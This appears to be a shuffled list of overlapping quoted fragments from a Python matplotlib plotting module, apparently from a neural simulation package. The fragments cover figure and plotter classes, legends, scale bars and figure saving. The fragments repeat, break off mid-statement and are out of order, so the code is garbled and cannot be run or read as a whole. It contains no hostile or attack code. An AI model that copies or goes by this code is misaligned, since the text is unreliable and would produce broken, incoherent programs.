"kwargs['legendKwargs'] for key in legendKwargs_new: if key in legendParams: legendKwargs[key]",
"the x and y axes - axis : the axis",
"elif kwargs['tightLayout']: plt.tight_layout() if 'saveFig' in kwargs: if kwargs['saveFig']: self.saveFig(**kwargs)",
"= 'image' self.X = data.get('X') self.cmap = data.get('cmap', None) self.norm",
"[0.90, 0.32, 0.00], [0.34, 0.67, 0.67], [0.90, 0.59, 0.00], [0.42,",
"0.00], [0.42, 0.83, 0.59], [0.90, 0.32, 0.00], [0.34, 0.67, 0.67],",
"cur_handles if not labels: labels = cur_labels self.axis.legend(handles, labels, **legendKwargs)",
"ylim1) axis.set_ylim(ylim) scalebar = AnchoredScaleBar(axis, **kwargs) axis.add_artist(scalebar) if hidex: axis.xaxis.set_visible(False)",
"\"\"\" A class used for adding scale bars to plots",
"self.axis.invert_yaxis() def addLegend(self, handles=None, labels=None, **kwargs): legendParams = ['loc', 'bbox_to_anchor',",
"coordinate frame (typically axes.transData) - sizex,sizey : width of x,y",
"unitsy) # add space for scalebar if space is not",
"if rcParam in mpl.rcParams: mpl.rcParams[rcParam] = rcParams[rcParam] else: print(rcParam, 'not",
"= '' if 'labelx' not in kwargs or kwargs['labelx'] is",
"None) self.stacked = data.get('stacked', False) self.data = data.get('data', None) def",
"import deepcopy import pickle, json import os from matplotlib.offsetbox import",
"class MetaFigure: \"\"\"A class which defines a figure object\"\"\" def",
"self.fig.canvas.get_supported_filetypes(): raise Exception('fileType not recognized in saveFig') else: fileExt =",
"'figSize' in kwargs: if kwargs['figSize']: self.fig.set_size_inches(kwargs['figSize']) if 'legend' in kwargs:",
"matplotlib.offsetbox import AuxTransformBox, VPacker, HPacker, TextArea, DrawingArea bars = AuxTransformBox(axis.transData)",
"as mpl import matplotlib.pyplot as plt import numpy as np",
"self.axis.figure # Attach plotter to its MetaFigure self.metafig.plotters.append(self) def loadData(self,",
"markersizes = [self.markersize for line in range(numLines)] else: markersizes =",
"/ m)) * m while value > maxvalue: try: value",
"!= list: markers = [self.marker for line in range(numLines)] else:",
"parameters in the kwargs legendKwargs = {} for kwarg in",
"self.label is None: labels = [None for line in range(numLines)]",
"Attach plotter to its MetaFigure self.metafig.plotters.append(self) def loadData(self, fileName, fileDir=None,",
"AnchoredScaleBar(AnchoredOffsetbox): \"\"\" A class used for adding scale bars to",
"unitsx=None, unitsy=None, scalex=1.0, scaley=1.0, xmax=None, ymax=None, space=None, **kwargs): add_scalebar(self.axis, matchx=matchx,",
"= (ylim0 - space, ylim1) if ylim0 > ylim1: #",
"not sim: from .. import sim self.sim = sim self.axis",
"kwargs['scalebar'] is True: self.addScalebar() elif type(kwargs['scalebar']) == dict: self.addScalebar(**kwargs['scalebar']) if",
"subplots ncols = 1 elif type(subplots) == list: nrows =",
"in legendParams: legendKwargs[kwarg] = kwargs[kwarg] # If 'legendKwargs' is found",
"data, axis=None, options={}, **kwargs): super().__init__(data=data, axis=axis, **kwargs) self.kind = 'histogram'",
"passed to base class constructor \"\"\" from matplotlib.patches import Rectangle",
"plot(self, **kwargs): histPlot = self.axis.hist(self.x, bins=self.bins, range=self.range, density=self.density, weights=self.weights, cumulative=self.cumulative,",
"if 'dpi' in kwargs: if kwargs['dpi']: self.fig.set_dpi(kwargs['dpi']) if 'figSize' in",
"cur_labels = self.axis.get_legend_handles_labels() if not handles: handles = cur_handles if",
"**kwargs): super().__init__(data=data, axis=axis, **kwargs) self.kind = 'scatter' self.x = data.get('x')",
"'labelx' not in kwargs or kwargs['labelx'] is None: kwargs['labelx'] =",
"in kwargs: sizex = kwargs['sizex'] if 'sizey' in kwargs: sizey",
"markersizes = self.markersize if type(self.linewidth) != list: linewidths = [self.linewidth",
"a copy of the current matplotlib rcParams and update them",
"options={}, **kwargs): super().__init__(data=data, axis=axis, **kwargs) self.kind = 'lines' self.x =",
"kwargs: dpi = kwargs['dpi'] else: dpi = self.rcParams['figure.dpi'] if autosize:",
"* scalex, unitsx) if 'labely' not in kwargs or kwargs['labely']",
"bitmap', 'svg': 'Scalable Vector Graphics', 'svgz': 'Scalable Vector Graphics', 'tif':",
"self.x, self.y[index], color=colors[index], marker=markers[index], markersize=markersizes[index], linewidth=linewidths[index], alpha=alphas[index], label=labels[index], ) self.finishAxis(**kwargs)",
"TextArea(labely) bars = HPacker(children=[self.ylabel, bars], align=\"center\", pad=0, sep=sep) AnchoredOffsetbox.__init__(self, loc,",
"kwargs['ylim'] is not None: self.axis.set_ylim(kwargs['ylim']) if 'invert_yaxis' in kwargs: if",
"'facecolor', 'edgecolor', 'mode', 'bbox_transform', 'title', 'title_fontsize', 'borderpad', 'labelspacing', 'handlelength', 'handletextpad',",
"**kwargs) def add_scalebar(axis, matchx=True, matchy=True, hidex=True, hidey=True, unitsx=None, unitsy=None, scalex=1.0,",
"is None: labels = [None for line in range(numLines)] else:",
"fileDesc=None, fileType='png', fileDir=None, overwrite=True, **kwargs): \"\"\" 'eps': 'Encapsulated Postscript', 'jpg':",
"self.url = data.get('url', None) self.data = data.get('data', None) def plot(self,",
"= plt.subplots(nrows, ncols, figsize=figSize, dpi=dpi) self.plotters = [] def saveFig(self,",
"= data.get('label', None) self.stacked = data.get('stacked', False) self.data = data.get('data',",
"in range(numLines)] else: alphas = self.alpha if self.label is None:",
"kwargs: if kwargs['saveData']: self.saveData(**kwargs) if 'dpi' in kwargs: if kwargs['dpi']:",
"= lambda value, n, m: int(np.ceil(round(value, -int(np.floor(np.log10(abs(value)))) + (n -",
"True: self.addLegend(**kwargs) elif type(kwargs['legend']) == dict: self.addLegend(**kwargs['legend']) if 'scalebar' in",
"str axis : matplotlib axis The axis to plot into.",
"colors = self.color if type(self.marker) != list: markers = [self.marker",
"for key in legendKwargs_new: if key in legendParams: legendKwargs[key] =",
"figSize[0] + (maxplots-1)*(figSize[0]*autosize) figSize1 = figSize[1] + (maxplots-1)*(figSize[1]*autosize) figSize =",
"'_' + fileNumStrNew + fileExt self.fig.savefig(fileName) self.fileName = fileName return",
"settings mpl.style.use(self.metafig.orig_rcParams) class ScatterPlotter(GeneralPlotter): \"\"\"A class used for scatter plotting\"\"\"",
"self.cumulative = data.get('cumulative', False) self.bottom = data.get('bottom', None) self.histtype =",
"extent=self.extent, filternorm=self.filternorm, filterrad=self.filterrad, resample=self.resample, url=self.url, data=self.data) self.finishAxis(**kwargs) return self.fig class",
"space, ylim1) if ylim0 > ylim1: # if y axis",
"[0.50, 0.20, 0.00], [0.71, 0.82, 0.41], [0.00, 0.20, 0.50], [0.70,",
"type(subplots) == list: nrows = subplots[0] ncols = subplots[1] #",
"which defines a figure object\"\"\" def __init__(self, kind, sim=None, subplots=None,",
"saveData as saveFigData saveFigData(self.data, fileName=fileName, fileDesc=fileDesc, fileType=fileType, fileDir=fileDir, sim=sim, **kwargs)",
"self.X = data.get('X') self.cmap = data.get('cmap', None) self.norm = data.get('norm',",
"MetaFigure: \"\"\"A class which defines a figure object\"\"\" def __init__(self,",
"'Raw RGBA bitmap', 'svg': 'Scalable Vector Graphics', 'svgz': 'Scalable Vector",
"maxvalue * scale, n, m) / scale except: value /=",
"* scale, n, m) / scale except: value /= 10.0",
"False) self.data = data.get('data', None) def plot(self, **kwargs): histPlot =",
"label=labels[index], ) self.finishAxis(**kwargs) return self.fig class HistPlotter(GeneralPlotter): \"\"\"A class used",
"if fileDir is not None: fileName = os.path.join(fileDir, fileName) if",
"fileDesc=None, fileType=None, fileDir=None, sim=None, **kwargs): from ..analysis import saveData as",
"'ylabel' in kwargs: self.axis.set_ylabel(kwargs['ylabel']) if 'xlim' in kwargs: if kwargs['xlim']",
"fc=\"none\")) if sizex and labelx: self.xlabel = TextArea(labelx) bars =",
"in kwargs: if kwargs['saveData']: self.saveData(**kwargs) if 'dpi' in kwargs: if",
"fileNumStr)[0] except: fileNumStr = fileNumStrNew = '01' fileName = fileName.split(fileExt)[0]",
"if 'sizey' in kwargs: sizey = kwargs['sizey'] def autosize(value, maxvalue,",
"recognized in saveFig') else: fileExt = '.' + fileType if",
"to attach ticks to - matchx,matchy : if True, set",
"the current matplotlib rcParams and update them self.orig_rcParams = deepcopy(mpl.rcParamsDefault)",
"None) self.histtype = data.get('histtype', 'bar') self.align = data.get('align', 'mid') self.orientation",
"fileDir=None, overwrite=True, **kwargs): \"\"\" 'eps': 'Encapsulated Postscript', 'jpg': 'Joint Photographic",
"ticks, if False, set size using sizex and sizey params",
"loadData(self, fileName, fileDir=None, sim=None): from ..analysis import loadData self.data =",
"self.finishAxis(**kwargs) return self.fig class LinePlotter(GeneralPlotter): \"\"\"A class used for plotting",
"to plot into. If axis is set to None, a",
"= data.get('rwidth', None) self.log = data.get('log', False) self.color = data.get('color',",
"is input, plot there; otherwise make a new figure and",
"from matplotlib.offsetbox import AnchoredOffsetbox try: basestring except NameError: basestring =",
"if not sim: from .. import sim if fileDesc is",
"= self.axis.plot(self.x, self.y, color=self.color, marker=self.marker, markersize=self.markersize, linewidth=self.linewidth, alpha=self.alpha) self.finishAxis(**kwargs) return",
"add_scalebar(self.axis, matchx=matchx, matchy=matchy, hidex=hidex, hidey=hidey, unitsx=unitsx, unitsy=unitsy, scalex=scalex, scaley=scaley, xmax=xmax,",
"\"\"\"A class used for plotting multiple lines on the same",
"self.density = data.get('density', False) self.weights = data.get('weights', None) self.cumulative =",
"not labels: labels = cur_labels self.axis.legend(handles, labels, **legendKwargs) def addScalebar(self,",
"omit - loc : position in containing axes - pad,",
"= data.get('cumulative', False) self.bottom = data.get('bottom', None) self.histtype = data.get('histtype',",
"not handles: handles = cur_handles if not labels: labels =",
"**kwargs : additional arguments passed to base class constructor \"\"\"",
"**kwargs) axis.add_artist(scalebar) if hidex: axis.xaxis.set_visible(False) if hidey: axis.yaxis.set_visible(False) if hidex",
"class constructor \"\"\" from matplotlib.patches import Rectangle from matplotlib.offsetbox import",
"for image plotting using plt.imshow\"\"\" def __init__(self, data, axis=None, options={},",
"is not None: self.axis.set_ylim(kwargs['ylim']) if 'invert_yaxis' in kwargs: if kwargs['invert_yaxis']",
"cur_handles, cur_labels = self.axis.get_legend_handles_labels() if not handles: handles = cur_handles",
"def plot(self, **kwargs): scatterPlot = self.axis.scatter(x=self.x, y=self.y, s=self.s, c=self.c, marker=self.marker,",
"axis=axis, **kwargs) self.kind = 'histogram' self.x = data.get('x') self.bins =",
"'scalebar' in kwargs: if kwargs['scalebar'] is True: self.addScalebar() elif type(kwargs['scalebar'])",
"bars = AuxTransformBox(axis.transData) if sizex: if axis.xaxis_inverted(): sizex = -sizex",
"transform : the coordinate frame (typically axes.transData) - sizex,sizey :",
"0.00], [0.34, 0.67, 0.67], [0.90, 0.59, 0.00], [0.42, 0.82, 0.83],",
"**kwargs): if 'title' in kwargs: self.axis.set_title(kwargs['title']) if 'xlabel' in kwargs:",
"**kwargs) def finishAxis(self, **kwargs): self.formatAxis(**kwargs) if 'saveData' in kwargs: if",
"axis : the axis to attach ticks to - matchx,matchy",
"for kwarg in kwargs: if kwarg in legendParams: legendKwargs[kwarg] =",
"self.kind = kind # Make a copy of the current",
"'showFig' in kwargs: if kwargs['showFig']: self.showFig(**kwargs) else: plt.close(self.fig) # Reset",
"self.ax = plt.subplots(nrows, ncols, figsize=figSize, dpi=dpi) self.plotters = [] def",
"for LaTeX', 'png': 'Portable Network Graphics', 'ps': 'Postscript', 'raw': 'Raw",
"else: print(rcParam, 'not found in matplotlib.rcParams') self.rcParams = rcParams else:",
"into. If axis is set to None, a new figure",
"if 'tightLayout' not in kwargs: plt.tight_layout() elif kwargs['tightLayout']: plt.tight_layout() if",
"'jpg': 'Joint Photographic Experts Group', 'jpeg': 'Joint Photographic Experts Group',",
"= np.max([nrows, ncols]) figSize0 = figSize[0] + (maxplots-1)*(figSize[0]*autosize) figSize1 =",
"unitsx is None: unitsx = '' if unitsy is None:",
"[[0.42, 0.67, 0.84], [0.90, 0.76, 0.00], [0.42, 0.83, 0.59], [0.90,",
"self.alpha if self.label is None: labels = [None for line",
"else: fileDesc = '_' + self.kind if fileType not in",
"import os from matplotlib.offsetbox import AnchoredOffsetbox try: basestring except NameError:",
"**kwargs) def addColorbar(self, **kwargs): plt.colorbar(mappable=self.axis.get_images()[0], ax=self.axis, **kwargs) def finishAxis(self, **kwargs):",
"def addColorbar(self, **kwargs): plt.colorbar(mappable=self.axis.get_images()[0], ax=self.axis, **kwargs) def finishAxis(self, **kwargs): self.formatAxis(**kwargs)",
"omit - labelx,labely : labels for x,y bars; None to",
"cumulative=self.cumulative, bottom=self.bottom, histtype=self.histtype, align=self.align, orientation=self.orientation, rwidth=self.rwidth, log=self.log, color=self.color, alpha=self.alpha, label=self.label,",
"axis are created and plotted into. If plotting into an",
"self.aspect = data.get('aspect', None) self.interpolation = data.get('interpolation', None) self.filternorm =",
"False) self.weights = data.get('weights', None) self.cumulative = data.get('cumulative', False) self.bottom",
"and update them self.orig_rcParams = deepcopy(mpl.rcParamsDefault) if rcParams: for rcParam",
"any legend parameters in the kwargs legendKwargs = {} for",
"fileDesc = '_' + self.kind if fileType not in self.fig.canvas.get_supported_filetypes():",
"= figSize[0] + (maxplots-1)*(figSize[0]*autosize) figSize1 = figSize[1] + (maxplots-1)*(figSize[1]*autosize) figSize",
"hidey=True, unitsx=None, unitsy=None, scalex=1.0, scaley=1.0, xmax=None, ymax=None, space=None, **kwargs): add_scalebar(self.axis,",
"loc : position in containing axes - pad, borderpad :",
"plotting multiple lines on the same axis\"\"\" def __init__(self, data,",
"key in legendParams: legendKwargs[key] = legendKwargs_new[key] cur_handles, cur_labels = self.axis.get_legend_handles_labels()",
"= [self.color for line in range(numLines)] else: colors = self.color",
"self.interpolation = data.get('interpolation', None) self.filternorm = data.get('filternorm', True) self.filterrad =",
"linewidths=self.linewidths) self.finishAxis(**kwargs) return self.fig class LinePlotter(GeneralPlotter): \"\"\"A class used for",
"for plotting analyses \"\"\" import matplotlib as mpl import matplotlib.pyplot",
"None) self.aspect = data.get('aspect', None) self.interpolation = data.get('interpolation', None) self.alpha",
"= str colorList = [[0.42, 0.67, 0.84], [0.90, 0.76, 0.00],",
"scalebar = AnchoredScaleBar(axis, **kwargs) axis.add_artist(scalebar) if hidex: axis.xaxis.set_visible(False) if hidey:",
"axes - axis : the axis to attach ticks to",
"in fraction of the legend font size (or prop) -",
"maxvalue, scale, n=1, m=10): round_to_n = lambda value, n, m:",
"**kwargs): plt.colorbar(mappable=self.axis.get_images()[0], ax=self.axis, **kwargs) def finishAxis(self, **kwargs): self.formatAxis(**kwargs) if 'saveData'",
"def finishAxis(self, **kwargs): self.formatAxis(**kwargs) if 'saveData' in kwargs: if kwargs['saveData']:",
"bar, in data units. 0 to omit - labelx,labely :",
"fileDir=None, sim=None, **kwargs): from ..analysis import saveData as saveFigData saveFigData(self.data,",
"unitsy=None, scalex=1.0, scaley=1.0, xmax=None, ymax=None, space=None, **kwargs): add_scalebar(self.axis, matchx=matchx, matchy=matchy,",
"object\"\"\" def __init__(self, kind, sim=None, subplots=None, rcParams=None, autosize=0.35, **kwargs): if",
"'histogram' self.x = data.get('x') self.bins = data.get('bins', None) self.range =",
"is not None: ylim0, ylim1 = axis.get_ylim() ylim = (ylim0",
"Exception('In Plotter, if data is a string, it must be",
"'Encapsulated Postscript', 'jpg': 'Joint Photographic Experts Group', 'jpeg': 'Joint Photographic",
"legendKwargs_new: if key in legendParams: legendKwargs[key] = legendKwargs_new[key] cur_handles, cur_labels",
"data.get('linewidth') self.alpha = data.get('alpha') self.label = data.get('label') def plot(self, **kwargs):",
"matplotlib.rcParams') self.rcParams = rcParams else: self.rcParams = self.orig_rcParams # Set",
"False, set size using sizex and sizey params - hidex,hidey",
"data.get('x') self.y = data.get('y') self.s = data.get('s') self.c = data.get('c')",
"'labely' not in kwargs or kwargs['labely'] is None: kwargs['labely'] =",
"= 'scatter' self.x = data.get('x') self.y = data.get('y') self.s =",
"labelx=None, labely=None, loc=4, pad=0.1, borderpad=0.1, sep=2, prop=None, barcolor=\"black\", barwidth=None, **kwargs):",
"print(rcParam, 'not found in matplotlib.rcParams') self.rcParams = rcParams else: self.rcParams",
"self.addSuptitle(**kwargs['suptitle']) if 'tightLayout' not in kwargs: plt.tight_layout() elif kwargs['tightLayout']: plt.tight_layout()",
"bitmap', 'rgba': 'Raw RGBA bitmap', 'svg': 'Scalable Vector Graphics', 'svgz':",
"kwargs: plt.tight_layout() elif kwargs['tightLayout']: plt.tight_layout() if 'saveFig' in kwargs: if",
"self.kind = kind # Load data if type(data) == str:",
"== dict: self.addScalebar(**kwargs['scalebar']) if 'colorbar' in kwargs: if kwargs['colorbar'] is",
"if not handles: handles = cur_handles if not labels: labels",
"range(numLines)] else: markersizes = self.markersize if type(self.linewidth) != list: linewidths",
"Add scalebars to axes Adds a set of scale bars",
"not sim: from .. import sim if fileDesc is not",
"sizex = -sizex bars.add_artist(Rectangle((0,0), sizex, 0, ec=barcolor, lw=barwidth, fc=\"none\")) if",
"'bbox_transform', 'title', 'title_fontsize', 'borderpad', 'labelspacing', 'handlelength', 'handletextpad', 'borderaxespad', 'columnspacing', 'handler_map']",
"self.addLegend(**kwargs) elif type(kwargs['legend']) == dict: self.addLegend(**kwargs['legend']) if 'scalebar' in kwargs:",
"np.abs(tick_locs[1] - tick_locs[0]) return tick_size if matchx: sizex = get_tick_size(axis.xaxis)",
"legendKwargs[kwarg] = kwargs[kwarg] # If 'legendKwargs' is found in kwargs,",
"align=\"center\", pad=0, sep=sep) if sizey and labely: self.ylabel = TextArea(labely)",
"matchx=True, matchy=True, hidex=True, hidey=True, unitsx=None, unitsy=None, scalex=1.0, scaley=1.0, xmax=None, ymax=None,",
"'markerfirst', 'frameon', 'fancybox', 'shadow', 'framealpha', 'facecolor', 'edgecolor', 'mode', 'bbox_transform', 'title',",
"import AuxTransformBox, VPacker, HPacker, TextArea, DrawingArea bars = AuxTransformBox(axis.transData) if",
"must be the path to a data file.') else: self.data",
"ylim1 = axis.get_ylim() ylim = (ylim0 - space, ylim1) if",
"for and apply any legend parameters in the kwargs legendKwargs",
"it must be the path to a data file.') else:",
"if axis.xaxis_inverted(): sizex = -sizex bars.add_artist(Rectangle((0,0), sizex, 0, ec=barcolor, lw=barwidth,",
"def saveData(self, fileName=None, fileDesc=None, fileType=None, fileDir=None, sim=None, **kwargs): from ..analysis",
"= sim self.axis = axis if metafig: self.metafig = metafig",
"not None and sizex>xmax: sizex = autosize(sizex, xmax, scalex) kwargs['sizex']",
") self.finishAxis(**kwargs) return self.fig class HistPlotter(GeneralPlotter): \"\"\"A class used for",
"- tick_locs[0]) return tick_size if matchx: sizex = get_tick_size(axis.xaxis) if",
"for line in range(numLines)] else: colors = self.color if type(self.marker)",
"them self.orig_rcParams = deepcopy(mpl.rcParamsDefault) if rcParams: for rcParam in rcParams:",
"align=self.align, orientation=self.orientation, rwidth=self.rwidth, log=self.log, color=self.color, alpha=self.alpha, label=self.label, stacked=self.stacked, data=self.data) self.finishAxis(**kwargs)",
"class used for image plotting using plt.imshow\"\"\" def __init__(self, data,",
"TextArea, DrawingArea bars = AuxTransformBox(axis.transData) if sizex: if axis.xaxis_inverted(): sizex",
"unitsy=unitsy, scalex=scalex, scaley=scaley, xmax=xmax, ymax=ymax, space=space, **kwargs) def addColorbar(self, **kwargs):",
"is set to None, a new figure and axis are",
"in kwargs: if kwargs['legend'] is True: self.addLegend(**kwargs) elif type(kwargs['legend']) ==",
"str colorList = [[0.42, 0.67, 0.84], [0.90, 0.76, 0.00], [0.42,",
"dict: self.addColorbar(**kwargs['colorbar']) if 'grid' in kwargs: self.axis.minorticks_on() if kwargs['grid'] is",
"- matchx,matchy : if True, set size of scale bars",
"[] def saveFig(self, sim=None, fileName=None, fileDesc=None, fileType='png', fileDir=None, overwrite=True, **kwargs):",
"self.sim.cfg.filename + fileDesc + fileExt else: if fileName.endswith(fileExt): fileName =",
"label=self.label, stacked=self.stacked, data=self.data) self.finishAxis(**kwargs) return self.fig class ImagePlotter(GeneralPlotter): \"\"\"A class",
"'title_fontsize', 'borderpad', 'labelspacing', 'handlelength', 'handletextpad', 'borderaxespad', 'columnspacing', 'handler_map'] # Check",
"are created and plotted into. If plotting into an existing",
"'Tagged Image File Format', 'tiff': 'Tagged Image File Format' \"\"\"",
"None) self.log = data.get('log', False) self.color = data.get('color', None) self.alpha",
"fileDesc = '_' + str(fileDesc) else: fileDesc = '_' +",
"settings mpl.style.use(self.orig_rcParams) class GeneralPlotter: \"\"\"A class used for plotting\"\"\" def",
"of the legend font size (or prop) - sep :",
"= subaxis.get_majorticklocs() if len(tick_locs)>1: tick_size = np.abs(tick_locs[1] - tick_locs[0]) return",
"fileDir=fileDir, sim=None) def saveData(self, fileName=None, fileDesc=None, fileType=None, fileDir=None, sim=None, **kwargs):",
"'' if 'labelx' not in kwargs or kwargs['labelx'] is None:",
": padding, in fraction of the legend font size (or",
"subaxis.get_majorticklocs() if len(tick_locs)>1: tick_size = np.abs(tick_locs[1] - tick_locs[0]) return tick_size",
"__init__(self, kind, sim=None, subplots=None, rcParams=None, autosize=0.35, **kwargs): if not sim:",
"= kwargs['dpi'] else: dpi = self.rcParams['figure.dpi'] if autosize: maxplots =",
"filterrad=self.filterrad, resample=self.resample, url=self.url, data=self.data) self.finishAxis(**kwargs) return self.fig class AnchoredScaleBar(AnchoredOffsetbox): \"\"\"",
"len(self.y) if type(self.color) != list: colors = [self.color for line",
"int(np.ceil(round(value, -int(np.floor(np.log10(abs(value)))) + (n - 1)) / m)) * m",
"self.linewidth = data.get('linewidth') self.alpha = data.get('alpha') def plot(self, **kwargs): linePlot",
"make a new figure and axis if self.axis is None:",
"alpha=self.alpha, label=self.label, stacked=self.stacked, data=self.data) self.finishAxis(**kwargs) return self.fig class ImagePlotter(GeneralPlotter): \"\"\"A",
"fileDesc is not None: fileDesc = '_' + str(fileDesc) else:",
"handles = cur_handles if not labels: labels = cur_labels self.axis.legend(handles,",
"Graphics', 'tif': 'Tagged Image File Format', 'tiff': 'Tagged Image File",
"self.label = data.get('label', None) self.stacked = data.get('stacked', False) self.data =",
"arguments passed to base class constructor \"\"\" from matplotlib.patches import",
"fileType if not fileName or not isinstance(fileName, basestring): fileName =",
"unitsy=None, scalex=1.0, scaley=1.0, xmax=None, ymax=None, space=None, **kwargs): \"\"\" Add scalebars",
"histPlot = self.axis.hist(self.x, bins=self.bins, range=self.range, density=self.density, weights=self.weights, cumulative=self.cumulative, bottom=self.bottom, histtype=self.histtype,",
"object \"\"\" def get_tick_size(subaxis): tick_size = None tick_locs = subaxis.get_majorticklocs()",
"sizey=0, labelx=None, labely=None, loc=4, pad=0.1, borderpad=0.1, sep=2, prop=None, barcolor=\"black\", barwidth=None,",
"fraction of the legend font size (or prop) - sep",
"of the defaults if 'legendKwargs' in kwargs: legendKwargs_new = kwargs['legendKwargs']",
"the same axis\"\"\" def __init__(self, data, axis=None, options={}, **kwargs): super().__init__(data=data,",
"Photographic Experts Group', 'pdf': 'Portable Document Format', 'pgf': 'PGF code",
"to - matchx,matchy : if True, set size of scale",
"**kwargs): \"\"\" Parameters ---------- data : dict, str axis :",
"= data.get('aspect', None) self.interpolation = data.get('interpolation', None) self.filternorm = data.get('filternorm',",
"data.get('vmin', None) self.vmax = data.get('vmax', None) self.origin = data.get('origin', None)",
"from .. import sim self.sim = sim self.axis = axis",
"LinesPlotter(GeneralPlotter): \"\"\"A class used for plotting multiple lines on the",
"self.showFig(**kwargs) else: plt.close(self.fig) # Reset the matplotlib rcParams to their",
"fileDir is not None: fileName = os.path.join(fileDir, fileName) if not",
"kwargs: if kwargs['colorbar'] is True: self.addColorbar() elif type(kwargs['colorbar']) == dict:",
"if y axis is inverted ylim = (ylim0 + space,",
"density=self.density, weights=self.weights, cumulative=self.cumulative, bottom=self.bottom, histtype=self.histtype, align=self.align, orientation=self.orientation, rwidth=self.rwidth, log=self.log, color=self.color,",
"kwargs, use those values instead of the defaults if 'legendKwargs'",
"File Format' \"\"\" if not sim: from .. import sim",
"= 'lines' self.x = np.array(data.get('x')) self.y = np.array(data.get('y')) self.color =",
"= 1 ncols = 1 elif type(subplots) == int: nrows",
"kind, axis=None, sim=None, rcParams=None, metafig=None, **kwargs): \"\"\" Parameters ---------- data",
"= data.get('X') self.cmap = data.get('cmap', None) self.norm = data.get('norm', None)",
"alphas = self.alpha if self.label is None: labels = [None",
"**kwargs): if 'suptitle' in kwargs: if kwargs['suptitle']: self.addSuptitle(**kwargs['suptitle']) if 'tightLayout'",
"'xlabel' in kwargs: self.axis.set_xlabel(kwargs['xlabel']) if 'ylabel' in kwargs: self.axis.set_ylabel(kwargs['ylabel']) if",
"def loadData(self, fileName, fileDir=None, sim=None): from ..analysis import loadData self.data",
"n=1, m=10): round_to_n = lambda value, n, m: int(np.ceil(round(value, -int(np.floor(np.log10(abs(value))))",
"self.fig class HistPlotter(GeneralPlotter): \"\"\"A class used for histogram plotting\"\"\" def",
"else: raise Exception('In Plotter, if data is a string, it",
"class LinePlotter(GeneralPlotter): \"\"\"A class used for plotting one line per",
"in kwargs: if kwargs['xlim'] is not None: self.axis.set_xlim(kwargs['xlim']) if 'ylim'",
"and optionally hiding the x and y axes - axis",
"in kwargs: self.axis.minorticks_on() if kwargs['grid'] is True: self.axis.grid() elif type(kwargs['grid'])",
"is None: kwargs['labely'] = '%.3g %s'%(kwargs['sizey'] * scaley, unitsy) #",
"- loc : position in containing axes - pad, borderpad",
"self.linewidth if type(self.alpha) != list: alphas = [self.alpha for line",
"if 'showFig' in kwargs: if kwargs['showFig']: self.showFig(**kwargs) else: plt.close(self.fig) #",
"overwrite=True, **kwargs): \"\"\" 'eps': 'Encapsulated Postscript', 'jpg': 'Joint Photographic Experts",
"subplots: nrows = 1 ncols = 1 elif type(subplots) ==",
"'Portable Document Format', 'pgf': 'PGF code for LaTeX', 'png': 'Portable",
"the ticks of the plot and optionally hiding the x",
"in kwargs: if kwargs['suptitle']: self.addSuptitle(**kwargs['suptitle']) if 'tightLayout' not in kwargs:",
"**kwargs): self.fig.suptitle(**kwargs) def finishFig(self, **kwargs): if 'suptitle' in kwargs: if",
"= data.get('stacked', False) self.data = data.get('data', None) def plot(self, **kwargs):",
"self.addLegend(**kwargs['legend']) if 'scalebar' in kwargs: if kwargs['scalebar'] is True: self.addScalebar()",
"self.data = loadData(fileName=fileName, fileDir=fileDir, sim=None) def saveData(self, fileName=None, fileDesc=None, fileType=None,",
"1 elif type(subplots) == list: nrows = subplots[0] ncols =",
"log=self.log, color=self.color, alpha=self.alpha, label=self.label, stacked=self.stacked, data=self.data) self.finishAxis(**kwargs) return self.fig class",
"self.axis.set_xlabel(kwargs['xlabel']) if 'ylabel' in kwargs: self.axis.set_ylabel(kwargs['ylabel']) if 'xlim' in kwargs:",
"loc, pad=pad, borderpad=borderpad, child=bars, prop=prop, frameon=False, **kwargs) def add_scalebar(axis, matchx=True,",
"bars to *ax*, matching the size to the ticks of",
"\"\"\"A class used for histogram plotting\"\"\" def __init__(self, data, axis=None,",
"matplotlib rcParams to their original settings mpl.style.use(self.orig_rcParams) class GeneralPlotter: \"\"\"A",
"figSize0 = figSize[0] + (maxplots-1)*(figSize[0]*autosize) figSize1 = figSize[1] + (maxplots-1)*(figSize[1]*autosize)",
"fileName=None, fileDesc=None, fileType=None, fileDir=None, sim=None, **kwargs): from ..analysis import saveData",
"if space is not None: ylim0, ylim1 = axis.get_ylim() ylim",
"are available: xtwin, ytwin, \"\"\" self.kind = kind # Load",
"range(numLines)] else: linewidths = self.linewidth if type(self.alpha) != list: alphas",
"- sep : separation between labels and bars in points.",
"ncols]) figSize0 = figSize[0] + (maxplots-1)*(figSize[0]*autosize) figSize1 = figSize[1] +",
"of scale bars to *ax*, matching the size to the",
"= self.axis.figure # Attach plotter to its MetaFigure self.metafig.plotters.append(self) def",
"labels = cur_labels self.axis.legend(handles, labels, **legendKwargs) def addScalebar(self, matchx=True, matchy=True,",
"saveFigData saveFigData(self.data, fileName=fileName, fileDesc=fileDesc, fileType=fileType, fileDir=fileDir, sim=sim, **kwargs) def formatAxis(self,",
"self.cmap = data.get('cmap', None) self.norm = data.get('norm', None) self.aspect =",
"line in enumerate(self.y): self.axis.plot( self.x, self.y[index], color=colors[index], marker=markers[index], markersize=markersizes[index], linewidth=linewidths[index],",
"self.data = data if not sim: from .. import sim",
"'fancybox', 'shadow', 'framealpha', 'facecolor', 'edgecolor', 'mode', 'bbox_transform', 'title', 'title_fontsize', 'borderpad',",
"0.67, 0.33], [0.50, 0.20, 0.00], [0.71, 0.82, 0.41], [0.00, 0.20,",
"ticks of the plot and optionally hiding the x and",
"used for plotting one line per subplot\"\"\" def __init__(self, data,",
"self.fileName = fileName return fileName def showFig(self, **kwargs): try: self.fig.show(block=False)",
"0.76, 0.00], [0.42, 0.83, 0.59], [0.90, 0.32, 0.00], [0.34, 0.67,",
"color=self.color, alpha=self.alpha, label=self.label, stacked=self.stacked, data=self.data) self.finishAxis(**kwargs) return self.fig class ImagePlotter(GeneralPlotter):",
"get_tick_size(subaxis): tick_size = None tick_locs = subaxis.get_majorticklocs() if len(tick_locs)>1: tick_size",
"+ (n - 1)) / m)) * m while value",
"formatAxis(self, **kwargs): if 'title' in kwargs: self.axis.set_title(kwargs['title']) if 'xlabel' in",
"0.50], [0.70, 0.32, 0.10]] * 3 class MetaFigure: \"\"\"A class",
"= self.marker if type(self.markersize) != list: markersizes = [self.markersize for",
"self.finishAxis(**kwargs) return self.fig class ImagePlotter(GeneralPlotter): \"\"\"A class used for image",
"self.plotters = [] def saveFig(self, sim=None, fileName=None, fileDesc=None, fileType='png', fileDir=None,",
"scaley, unitsy) # add space for scalebar if space is",
"else: labels = self.label for index, line in enumerate(self.y): self.axis.plot(",
